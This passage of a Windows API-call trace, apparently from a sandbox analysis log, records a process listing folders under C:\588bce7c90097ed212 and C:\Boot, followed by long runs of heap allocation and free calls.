returned 1 [0127.073] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.073] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.074] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0127.074] FindClose (in: hFindFile=0x52a780 | out: hFindFile=0x52a780) returned 1 [0127.074] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.074] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.074] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0127.074] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x52a780 [0127.075] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.075] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.075] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.075] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.075] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0127.075] FindClose (in: hFindFile=0x52a780 | out: hFindFile=0x52a780) returned 1 [0127.076] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.076] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.076] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0127.076] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x52a780 [0127.077] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.077] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.077] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.077] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.077] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0127.077] FindClose (in: hFindFile=0x52a780 | out: hFindFile=0x52a780) returned 1 [0127.078] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.078] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.078] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0127.078] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x52a780 [0127.079] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.079] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.079] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.079] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.079] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0127.079] FindClose (in: hFindFile=0x52a780 | out: hFindFile=0x52a780) returned 1 [0127.080] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.080] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.080] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0127.080] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x52a780 [0127.081] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.081] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.081] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.081] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.081] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0127.081] FindClose (in: hFindFile=0x52a780 | out: hFindFile=0x52a780) returned 1 [0127.082] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.082] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.082] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0127.082] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x52a780 [0127.082] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.083] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.083] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.083] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0127.083] FindClose (in: hFindFile=0x52a780 | out: hFindFile=0x52a780) returned 1 [0127.083] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.083] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.083] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.084] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.084] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0127.084] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x3e5bfd8 [0127.167] FindNextFileW (in: hFindFile=0x3e5bfd8, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.167] FindNextFileW (in: hFindFile=0x3e5bfd8, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.167] FindNextFileW (in: hFindFile=0x3e5bfd8, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.168] FindNextFileW (in: hFindFile=0x3e5bfd8, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0127.168] FindClose (in: hFindFile=0x3e5bfd8 | out: hFindFile=0x3e5bfd8) returned 1 [0127.168] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.168] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.168] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0127.168] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x3e5b858 [0127.170] FindNextFileW (in: hFindFile=0x3e5b858, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.170] FindNextFileW (in: hFindFile=0x3e5b858, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.170] FindNextFileW (in: hFindFile=0x3e5b858, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.171] FindNextFileW (in: hFindFile=0x3e5b858, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.171] FindNextFileW (in: hFindFile=0x3e5b858, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.171] FindNextFileW (in: hFindFile=0x3e5b858, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.171] FindNextFileW (in: hFindFile=0x3e5b858, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.171] FindNextFileW (in: hFindFile=0x3e5b858, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.171] FindNextFileW (in: hFindFile=0x3e5b858, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.171] FindNextFileW (in: hFindFile=0x3e5b858, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.171] FindNextFileW (in: hFindFile=0x3e5b858, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.171] FindNextFileW (in: hFindFile=0x3e5b858, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.171] FindNextFileW (in: hFindFile=0x3e5b858, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.172] FindNextFileW (in: hFindFile=0x3e5b858, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.172] FindNextFileW (in: hFindFile=0x3e5b858, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.172] FindNextFileW (in: hFindFile=0x3e5b858, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.172] FindNextFileW (in: hFindFile=0x3e5b858, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0127.172] FindClose (in: hFindFile=0x3e5b858 | out: hFindFile=0x3e5b858) returned 1 [0127.173] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.173] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.173] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.173] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.173] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.174] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.174] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.174] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.174] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.174] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.174] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.174] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.174] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.175] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.175] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.175] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.175] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.175] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.175] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.175] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.175] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.175] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.175] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.175] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.176] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.176] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 0 [0127.176] FindClose (in: hFindFile=0x52a680 | out: hFindFile=0x52a680) returned 1 [0127.176] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43e0728 | out: hHeap=0x510000) returned 1 [0127.176] FindNextFileW (in: hFindFile=0x52a380, lpFindFileData=0x3a0fcf8 | out: lpFindFileData=0x3a0fcf8) returned 1 [0127.177] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43e0728 [0127.177] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 0x3e5b918 [0127.178] FindNextFileW (in: hFindFile=0x3e5b918, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.178] FindNextFileW (in: hFindFile=0x3e5b918, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.179] FindNextFileW (in: hFindFile=0x3e5b918, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.179] FindNextFileW (in: hFindFile=0x3e5b918, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.179] FindNextFileW (in: hFindFile=0x3e5b918, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.179] FindNextFileW (in: hFindFile=0x3e5b918, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.179] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0127.179] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x3e5bbd8 [0127.179] FindNextFileW (in: hFindFile=0x3e5bbd8, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.180] FindNextFileW (in: hFindFile=0x3e5bbd8, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.180] FindNextFileW (in: hFindFile=0x3e5bbd8, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0127.180] FindClose (in: hFindFile=0x3e5bbd8 | out: hFindFile=0x3e5bbd8) returned 1 [0127.180] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.180] FindNextFileW (in: hFindFile=0x3e5b918, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.180] FindNextFileW (in: hFindFile=0x3e5b918, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.180] FindNextFileW (in: hFindFile=0x3e5b918, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.180] FindNextFileW (in: hFindFile=0x3e5b918, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0127.181] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0127.181] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x3e5bdd8 [0127.181] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.181] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0127.182] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.186] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.186] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.186] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.187] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.187] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.188] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.189] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.189] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.190] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.193] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.194] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.194] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.195] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.195] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.196] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.196] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.197] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.197] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.198] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.198] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.199] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.199] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.200] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.201] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.201] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.221] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4404668 | out: hHeap=0x510000) returned 1 [0127.221] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.221] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.222] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.222] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.307] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.311] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.311] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.312] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.312] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.312] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.312] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.312] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.312] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0127.312] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43e0728 | out: hHeap=0x510000) returned 1 [0127.312] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43e0728 | out: hHeap=0x510000) returned 1 [0127.312] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43e0728 | out: hHeap=0x510000) returned 1 [0127.317] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43e0728 | out: hHeap=0x510000) returned 1 [0127.318] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43e0728 | out: hHeap=0x510000) returned 1 [0127.318] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0127.320] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x575300, Size=0x4000) returned 0x5b1860 [0127.320] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4436690 | out: hHeap=0x510000) returned 1 [0127.485] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44476a0 | out: hHeap=0x510000) returned 1 [0127.485] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44476a0 | out: hHeap=0x510000) returned 1 [0127.485] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44476a0 | out: hHeap=0x510000) returned 1 [0127.485] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44476a0 | out: hHeap=0x510000) returned 1 [0127.486] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44476a0 | out: hHeap=0x510000) returned 1 [0127.486] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44476a0 | out: hHeap=0x510000) returned 1 [0127.486] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44476a0 | out: hHeap=0x510000) returned 1 [0127.489] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44476a0 | out: hHeap=0x510000) returned 1 [0127.489] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44476a0 | out: hHeap=0x510000) returned 1 [0127.489] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44476a0 | out: hHeap=0x510000) returned 1 [0127.490] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44476a0 | out: hHeap=0x510000) returned 1 [0127.490] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44476a0 | out: hHeap=0x510000) returned 1 [0127.491] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44476a0 | out: hHeap=0x510000) returned 1 [0127.491] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44476a0 | out: hHeap=0x510000) returned 1 [0127.493] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44586b0 | out: hHeap=0x510000) returned 1 [0127.493] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44586b0 | out: hHeap=0x510000) returned 1 [0127.494] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44586b0 | out: hHeap=0x510000) returned 1 [0127.496] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44586b0 | out: hHeap=0x510000) returned 1 [0127.498] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44586b0 | out: hHeap=0x510000) returned 1 [0127.499] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44586b0 | out: hHeap=0x510000) returned 1 [0127.499] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44586b0 | out: hHeap=0x510000) returned 1 [0127.499] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44586b0 | out: hHeap=0x510000) returned 1 [0127.500] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44586b0 | out: hHeap=0x510000) returned 1 [0127.500] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44586b0 | out: hHeap=0x510000) returned 1 [0127.500] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44476a0 | out: hHeap=0x510000) returned 1 [0127.501] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44476a0 | out: hHeap=0x510000) returned 1 [0127.501] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44476a0 | out: hHeap=0x510000) returned 1 [0127.501] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44476a0 | out: hHeap=0x510000) returned 1 [0127.501] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44476a0 | out: hHeap=0x510000) returned 1 [0127.504] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44576a8 | out: hHeap=0x510000) returned 1 [0127.504] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44576a8 | out: hHeap=0x510000) returned 1 [0127.504] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44576a8 | out: hHeap=0x510000) returned 1 [0127.505] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44576a8 | out: hHeap=0x510000) returned 1 [0127.506] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44576a8 | out: hHeap=0x510000) returned 1 [0127.506] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44576a8 | out: hHeap=0x510000) returned 1 [0127.506] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44576a8 | out: hHeap=0x510000) returned 1 [0127.507] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44576a8 | out: hHeap=0x510000) returned 1 [0127.507] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44576a8 | out: hHeap=0x510000) returned 1 [0127.507] HeapFree (in: hHeap=0x510000, dwFlags=0x0, 